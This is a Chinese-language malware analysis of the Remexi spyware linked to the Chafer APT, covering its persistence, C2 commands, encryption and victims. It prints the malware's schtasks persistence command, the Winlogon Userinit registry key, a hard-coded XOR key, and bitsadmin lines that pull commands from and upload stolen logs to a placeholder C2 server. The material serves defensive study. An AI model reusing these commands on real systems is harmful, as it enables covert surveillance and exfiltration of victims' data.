摘要
2018年秋 Kaspersky研究人员分析了攻击伊朗外交相关机构的监控活动。攻击者使用Remexi的更新版本来发起攻击,从受害者的分布来看应该是一起国内的网络监控活动。恶意软件与名为Chafer的APT组织相关。
该恶意软件可以窃取键盘输入、截屏、浏览器相关的cookie、历史记录等数据。攻击者在客户端和服务器端都非常依赖微软的技术:木马使用标准的Windows工具像Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe来接收命令和窃取数据。攻击者使用的C2是基于IIS的,使用.asp技术来操作受害者的HTTP请求。
Remexi开发者使用Windows MinGW 环境的C语言和GCC编译器来开发。攻击者使用Windows环境中的Qt Creator IDE。恶意软件还使用计划任务、Userinit、运行HKLM hive中的注册表等多种驻留机制。不同的样本还使用XOR和RC4加密和不同的长密钥。随机的密钥中使用了salamati,在波斯语中是健康的意思。
Kaspersky安全产品检测到恶意软件是木马Trojan.Win32.Remexi和Trojan.Win32.Agent。本文是根据2018年11月的分析报告。
技术分析
研究人员分析攻击活动中使用的主要工具是Remexi恶意软件的更新版本。最新的模块编译时间是2018年3月。开发者使用的是MinGW 环境下的Windows GCC编译器。
在二进制文件中,编译器留下了一些引用C源文件模块名的线索,包括operation_reg.c、thread_command.c、thread_upload.c。恶意软件含有许多工作线程,负责完成不同的任务,包括C2命令分析和数据窃取。Remexi使用Microsoft Background Intelligent Transfer Service (BITS)机制来通过HTTP与C2进行通信。
繁殖传播
目前还没有明确的证据表明Remexi恶意软件的传播方式。值得一提的是研究人员发现了Remexi main模块执行和AutoIt脚本编译为PE的关系,研究人员认为是PE释放的恶意软件。释放器使用FTP和硬编码的凭证来接收payload。截止分析时,FTP已经无法访问了,因此无法进一步分析。
恶意软件特征
Remexi有很多特征允许其收集键盘输入、截图、窃取凭证、登陆和浏览器历史,执行远程代码。加密含有硬编码KEY的XOR和预定义了密码的RC4来加密受害者数据。
Remexi含有多个不同的母可,其中包括配置解密、分析,和不同的监控和附属函数线程。Remexi开发者看似依赖于合法的Microsoft工具,具体见下表。
驻留
驻留模块基于计划任务和系统注册表,不同的操作系统版本机制不同。在老版的Windows操作系统版本中,main模块events.exe运行着编辑过的XPTask.vbs Microsoft样本脚本来创建每周的计划任务。对新版本的操作系统,events.exe会创建task.xml:
然后使用下面的命令来创建windows计划任务:
schtasks.exe /create /TN \"Events\\CacheTask_<user_name_here>" /XML \"<event_cache_dir_path>t /F"
在系统注册表级,模块通过加入以下注册表来完成驻留:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
命令
所有来自C2的命令都首先保存在附属文件中,然后加密保存在系统注册表中。有独立线程会解密和执行注册表中的文件。命令及描述如下:
· search 搜索相关的文件
· search&upload 将对应的文件加密并添加到给定名的上传目录中
· uploadfile 将提到的路径加密并添加到给定名的上传目录中
· uploadfolder 将提到的目录加密并添加到给定名的上传目录中
· shellexecute 用cmd.exe执行接收的命令
· wmic 用wmic.exe执行接收的命令
· sendIEPass 将所有收集的数据加密和加入到要上传到C2的文件中
· uninstall 移除文件、目录和BITS任务
加密
为了解密配置数据,恶意软件会使用25个字符的key进行XOR加密,并且不同的样本使用不同的key waEHleblxiQjoxFJQaIMLdHKz。RC4文件加密依赖于Windows 32 CryptoAPI。
配置
config.ini是恶意软件保存加密的配置数据的文件。含有以下不同的域:
Main模块(events.exe)
在检查了恶意软件是否安装后,main模块会使用Microsoft 标准工具expand.exe和下面的参数来解压HCK.cab:
expand.exe -r \"<full path to HCK.cab>\" -f:* \"<event_cache_dir_path>\\\"
然后用硬编码的25字节XOR key来解密config.ini文件,每个样本的XOR key是不同的。然后为键盘和鼠标handlekeys()和MouseHookProc()设置hook :
ID Thread description
1 用bitsadmin.exe工具来从C2获取命令并保存为文件和系统注册表
2 用RC4和硬编码的key来从注册表解密命令,并执行
3 将截屏从剪贴板移动到\Cache005子目录,并从剪贴板将Unicode文本移动到log.txt,并用“salamati” key进行XOR操作
4 将截屏移动到\Cache005子目录,并含有captureScreenTimeOut和captureScreenTimeOut频率
5 检查网络连接、解密并发送收集的日志
6 解除鼠标和键盘的hook,移除bitsadmin任务
7 检查恶意软件的工作目录大小是否超过限制的值
8 收集受害者的凭证、访问的网站缓存、解密的Chrome登陆数据、以及Firefox的数据库,含有cookies、keys、下载等
恶意软件使用下面的命令从C2接收数据:
bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file> http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>
活动日志模块Splitter.exe
该模块是main线程调用的,以获取windows的截屏。
除了以动态链接库和对应的输出函数形式应用辅助模块外,开发者决定使用events.exe和下面的参数来开启独立的应用:
数据窃取
数据窃取是通过bitsadmin.exe工具完成的。BITS机制从Windows XP系统到当前Windows 10版本中都有,是为了创建下载和上传任务,主要是为了更新操作系统。下面的命令是用来从受害者中窃取数据的:
bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal "<control_server>/YP01_<victim_fingerprint>_<log_file_name>" "<log_file_name>"
受害者
根据Remexi变种的目标用户分析,发现主要是伊朗的IP地址。其中一些是位于伊朗的外交机构实体。
归属
研究人员分析发现Remexi恶意软件与APT组织Chafer有关。其中一个加密的密钥是salamati,该单词在波斯语是健康的意思。分析与恶意软件作者相关的证据发现,在.pdb路径中含有一个Windows用户名Mohamadreza New。在FBI网站在通缉两个伊朗犯罪分子Mohammad Reza,但这也可能是个普通的名字,甚至是个错误的标识。
结论
Chafer APT组织自2015年开始活跃,根据编译的时间戳和C2注册分析,研究人员认为该组织的活动时间可能更早。总的来说,Chafer的主要攻击目标位于伊朗,虽然也可能包含位于中东的其他国家。